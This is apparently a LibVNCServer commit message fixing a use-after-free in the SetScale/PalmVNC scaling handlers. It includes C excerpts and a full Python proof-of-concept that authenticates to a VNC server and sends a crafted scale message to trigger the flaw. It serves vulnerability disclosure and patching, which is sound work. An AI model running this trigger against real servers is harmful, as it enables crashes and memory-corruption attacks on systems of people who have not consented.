Fix Use-After-Free vulnerability in LibVNCServer wrt scaling.

Reported by Ken Johnson <Ken.Johnson1@telus.com>.

The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)

      if (msg.ssc.scale == 0) {
          rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
          rfbCloseClient(cl);
          return;
      }

      rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
      rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
      rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);

      rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
      return;

at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.

    else
    {
        rfbResizeFrameBufferMsg        rmsg;
        rmsg.type = rfbResizeFrameBuffer;
        rmsg.pad1=0;
        rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
        rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
        rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
        if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
            rfbLogPerror("rfbNewClient: write");
            rfbCloseClient(cl);
            rfbClientConnectionGone(cl); << Call which may can lead to a free.
            return FALSE;
        }
    }
    return TRUE;

Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.

POC script to trigger the vulnerability:

---snip---

import socket,binascii,struct,sys
from time import sleep

class RFB:

    INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
    AUTH_NO_PASS  = "\x01"
    AUTH_PASS = "\x02"
    SHARE_DESKTOP = "\x01"

    def AUTH_PROCESS(self,data,flag):
        if flag == 0:
            # Get security types
            secTypeCount = data[0]
            secType = {}
            for i in range(int(len(secTypeCount))):
                secType[i] = data[1]
            return secType
        elif flag == 1:
            # Get auth result
            # 0 means auth success
            # 1 means failure
            return data[3]

    def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
        try:
            from Crypto.Cipher import DES
        except:
            print "Error importing crypto. Please fix or do not require authentication"
            sys.exit(1)
        if len(PASSWORD) != 8:
            PASSWORD = PASSWORD.ljust(8, '\0')

        PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
        PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
        crypto = DES.new(PASSWORD)
        return crypto.encrypt(data)

    def reverse_bits(self,x):
        a=0
        for i in range(8):
            a += ((x>>i)&1)<<(7-i)
        return a

def main(argv):

    print "Proof of Concept"
    print "Copyright TELUS Security Labs"
    print "All Rights Reserved.\n"

    try:
        HOST = sys.argv[1]
        PORT = int(sys.argv[2])
    except:
        print "Usage: python setscale_segv_poc.py <host> <port> [password]"
        sys.exit(1)
    try:
        PASSWORD = sys.argv[3]
    except:
        print "No password supplied"
        PASSWORD = ""

    vnc = RFB()

    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote.connect((HOST,PORT))

    # Get server version
    data = remote.recv(1024)
    # Send 3.8 version
    remote.send(vnc.INIT_3008)
    # Get supported security types
    data = remote.recv(1024)
    # Process Security Message
    secType = vnc.AUTH_PROCESS(data,0)

    if secType[0] == "\x02":
        # Send accept for password auth
        remote.send(vnc.AUTH_PASS)
        # Get challenge
        data = remote.recv(1024)
        # Send challenge response
        remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))

    elif secType[0] == "\x01":
        # Send accept for None pass
        remote.send(vnc.AUTH_NO_PASS)

    else:
        print 'The server sent us something weird during auth.'
        sys.exit(1)

    # Get result
    data = remote.recv(1024)
    # Process result
    result = vnc.AUTH_PROCESS(data,1)

    if result == "\x01":
        # Authentication failure.
        data = remote.recv(1024)
        print 'Authentication failure. Server Reason: ' + str(data)
        sys.exit(1)

    elif result == "\x00":
        print "Authentication success."

    else:
        print 'Some other authentication issue occured.'
        sys.exit(1)

    # Send ClientInit
    remote.send(vnc.SHARE_DESKTOP)

    # Send malicious message
    print "Sending malicious data..."
    remote.send("\x08\x08\x00\x00")
    remote.close()

if __name__ == "__main__":
    main(sys.argv)

---snap---
Update comments regarding rfbClientConnectionGone().